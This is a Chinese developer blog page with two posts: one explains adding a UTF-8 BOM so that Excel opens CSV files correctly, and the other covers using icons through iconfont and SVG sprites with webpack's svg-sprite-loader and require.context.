utf-8保存的csv格式要让Excel正常打开的话,必须加入在文件最前面加入BOM(Byte order mark)。

ANSI的话是可以做到正常显示和保存,但是这是有前提的,就是必须在你的电脑(区域和语言设置)把对非Unicode字符处理设置为Chinese,如果是English的话,显示照样是乱码。

Unicode的csv,Excel就根本不支持,打开虽然可以显示不乱码,但是已经不是按逗号显示在不同的单元格里面了,而是按行显示在第一个单元格里面。

BOM(byte-order mark),即字节顺序标记,它是插入到以UTF-8、UTF16或UTF-32编码Unicode文件开头的特殊标记,用来识别Unicode文件的编码类型。具体编码如下表:

BOM Encoding
EF BB BF UTF-8
FE FF UTF-16 (big-endian)
FF FE UTF-16 (little-endian)
00 00 FE FF UTF-32 (big-endian)
FF FE 00 00 UTF-32 (little-endian)

微软建议所有的 Unicode 文件应该以 ZERO WIDTH NOBREAK SPACE(U+FEFF)字符开头。这作为一个“特征符”来识别文件中使用的编码和字节顺序。BOM的本意不错,但它并不是一个通用标准,从而导致了很多不兼容的问题。

UTF-8

UTF-8(8-bit Unicode Transformation Format)是一种针对Unicode的可变长度字元编码,也是一种前缀码。它可以用一至四个字节对Unicode字符集中的所有有效编码点进行编码,属于Unicode标准的一部分,最初由肯·汤普逊和罗布·派克提出。

由于较小值的编码点一般使用频率较高,直接使用Unicode编码效率低下,大量浪费内存空间。UTF-8就是为了解决向后兼容ASCII码而设计,Unicode中前128个字符(与ASCII码一一对应),使用与ASCII码相同的二进制值的单个字节进行编码,这使得原来处理ASCII字元的软体无须或只须做少部份修改,即可继续使用。因此,它逐渐成为电子邮件、网页及其他储存或传送文字优先采用的编码方式。

参考链接

  1. Excel 2007 打开 UTF-8 编码 CSV 文件的BUG,by oyi319.
  2. How to export JavaScript array info to csv (on client side)?,by stackoverflow.
  3. blob 导出csv 用execl打开出现乱码,by 黑魔法.
  4. UTF-8,by wikipedia.

如何使用图标icon

发表于 2019-08-25 | 更新于 2022-08-24

在前端网页的世界里,Icon是最基本的元素之一。使用Icon已成为前端开发者最基本的技能。下面将主要介绍利用SVG Sprites技术在前端中使用Icon的方法。

Icon的演化史

Icon最早用img实现,后为了提高效率,减少img请求,出现image sprite技术,实现将多个图片合成一个图片,然后利用 css 的 background-position 定位显示不同的 icon 图标。但该技术维护困难。

随后出现了font库实现页面图标,例如 Font Awesome。目前最常用的是iconfont,里面图标应有尽有,且开源。

iconfont的使用方法

unicode

优势:

  • 兼容性最好,支持ie6+
  • 支持按字体的方式去动态调整图标大小,颜色等等

劣势:

  • 不支持多色图标
  • 在不同的设备浏览器字体的渲染会略有差别

具体使用方法参考手摸手,带你优雅的使用 icon,不建议使用。

font-class

与unicode使用方式相比,具有如下特点:

  • 兼容性良好,支持ie8+
  • 相比于unicode语意明确,书写更直观。可以很容易分辨这个icon是什么。

symbol

随着IE浏览器逐渐淡出历史舞台,svg-icon 使用形式慢慢成为主流和推荐的方法,请参考未来必热:SVG Sprites技术介绍。其优点有:

  • 支持多色图标了,不再受单色限制。
  • 支持像字体那样通过font-size,color来调整样式。
  • 支持 ie9+
  • 可利用CSS实现动画。
  • 减少HTTP请求。
  • 矢量,缩放不失真
  • 可以很精细的控制SVG图标的每一部分

具体使用方法如下:

  • 使用SVG Sprite生成SVG雪碧图

SVG雪碧图

图1 SVG雪碧图
  • 加入通用css代码(引入一次就行)
1
2
3
4
5
6
7
8
<style type="text/css">
.icon {
width: 1em; height: 1em;
vertical-align: -0.15em;
fill: currentColor;
overflow: hidden;
}
</style>
  • 挑选相应图标并获取类名,应用于页面
1
2
3
<svg class="icon" aria-hidden="true">
<use xlink:href="#icon-xxx"></use>
</svg>

使用svg-icon的好处是再也不用发送woff|eot|ttf| 这些很多个字体库请求了,所有的svg都可以内联在html内。且svg 是一个真正的矢量,不管再怎么的放缩它都不会失真模糊,而且svg可以控制的属性也更加的丰富,也能做出更加生动和复杂的图标。

生成SVG sprite的方法

推荐使用svg-sprite-loader ,它是一个Webpack loader。

1
2
import '@/src/icons/qq.svg; //引入图标
<svg><use xlink:href="#qq" /></svg> //使用图标

自动导入多个SVG

使用 webpack 的 require.context 实现自动导入多个SVG Icon,避免手动一个个引入。

require.context有三个参数:

  • directory:说明需要检索的目录
  • useSubdirectories:是否检索子目录
  • regExp: 匹配文件的正则表达式
1
2
3
const requireAll = requireContext => requireContext.keys().map(requireContext)
const req = require.context('./svg', false, /\.svg$/)
requireAll(req)

参考链接

  1. 手摸手,带你优雅的使用 icon,by 花裤衩.
  2. 未来必热:SVG Sprites技术介绍,by 张鑫旭.
  3. 如何在vue项目中优雅的使用SVG,by SilentLove.
  4. 关于webpack的require.context,by yeyan1996.
  5. requireContext.keys().map(requireContext)在批量导入时的作用,by 咲奈.
  6. 使用require.context实现前端工程自动化,by 心_c2a2.
  7. webpack依赖管理,by docschina.
  8. 懒人神器:svg-sprite-loader实现自己的Icon组件,by
    Yawenina.
  9. SVG on the Web – Implementation Options,by svgontheweb.
  10. SVG Search,by uiset.
  11. SVG图标颜色文字般继承与填充,by 张鑫旭.
  12. How To Create a Beautiful Color Palette for your Website or App,by goodpalette.
上一页1…353637…53下一页

Jack Huang

528 日志
68 标签
© 2025 Jack Huang
由 Hexo 强力驱动
|
主题 — NexT.Muse